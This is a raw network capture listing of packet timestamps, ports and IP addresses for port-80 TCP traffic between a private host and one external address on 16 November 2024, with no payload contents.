Nov 16, 2024 20:12:38.457824945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.457859039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.457891941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.457926035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.457942963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.457954884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.457976103 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.457988977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458022118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458055019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458064079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458089113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458100080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458141088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458180904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458233118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458233118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458280087 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458282948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458317995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458349943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458381891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458405018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458415031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458422899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458446980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458481073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458513021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458527088 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458547115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.458554983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.458580017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.462086916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.475853920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.501373053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.501422882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.501461029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.501509905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.501571894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.501606941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.501621008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.501640081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.502568960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.510018110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510052919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510104895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510113001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.510138988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510173082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510205984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510219097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.510241032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510247946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.510271072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510303974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510338068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510354042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.510371923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510375023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.510405064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510442019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.510495901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.548513889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548583031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548619032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548645973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.548652887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548680067 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.548688889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548726082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548760891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548769951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.548799992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548804045 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.548955917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.548990965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.549026966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.549035072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.549068928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.574014902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.574065924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.574103117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.574130058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.606720924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.606772900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.606775999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.606837988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.606893063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.606926918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.606935978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.606973886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.606978893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607012987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607045889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607059956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607079983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607114077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607126951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607163906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607198000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607240915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607249022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607292891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607299089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607356071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607389927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607424021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607434034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607474089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607481003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607531071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607563972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607595921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607608080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607640982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607645988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607680082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607713938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607748032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607753038 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607780933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607791901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607815027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607848883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607857943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607882977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607916117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607950926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607960939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.607985020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.607991934 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608021021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608052969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608094931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608124018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608146906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608150959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608181000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608230114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608232021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608267069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608318090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608359098 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608365059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608398914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608412027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608433008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608465910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608499050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608506918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608531952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608549118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608565092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608597994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608622074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608628988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608663082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608697891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608709097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608732939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608741999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608767033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608798981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608803988 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608833075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608865023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608897924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608910084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608931065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608942032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.608964920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.608998060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.609030962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.609046936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.609064102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.609075069 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.609098911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.609379053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.623994112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.624063969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.624099970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.624111891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.624135017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.624170065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.624203920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.624205112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.624248981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.631697893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.631755114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.631789923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.631814003 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.631879091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.631912947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.631947994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.631962061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.631992102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.631999969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.632049084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.632078886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.632111073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.632122040 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.632145882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.632153034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.632179022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.632213116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.632256985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.670902014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.670953035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.670967102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.671000957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671041965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.671055079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671089888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671123981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671158075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671168089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.671191931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671211004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.671226025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671257973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671291113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671299934 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.671325922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.671359062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671396017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.671571016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.695872068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.695919991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.695960999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.696006060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.728945971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729005098 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729015112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729053974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729088068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729100943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729160070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729193926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729208946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729228973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729262114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729305029 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729306936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729350090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729357958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729393959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729427099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729440928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729461908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729490995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729512930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729523897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729557991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729571104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729592085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729639053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729643106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729679108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729727983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729733944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729784012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729818106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729832888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729867935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729904890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729914904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.729954958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.729989052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730003119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730038881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730071068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730098963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730103970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730139017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730165005 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730189085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730222940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730235100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730256081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730288982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730297089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730323076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730355978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730367899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730391979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730427980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730449915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730459929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730505943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730515003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730566978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730614901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730616093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730667114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730700970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730727911 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730736017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730770111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730782986 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730819941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730864048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730869055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730902910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730951071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.730978012 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.730983973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731018066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731029034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731064081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731097937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731106043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731132984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731165886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731198072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731219053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731231928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731234074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731266022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731307983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731328964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731381893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731415987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731442928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731448889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731482029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731497049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731511116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731544018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731555939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731578112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731611013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731621981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731645107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731678009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731690884 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.731714964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731744051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.731765032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.747489929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.747534037 CET	80	49744	185.215.113.16	192.168.2.4
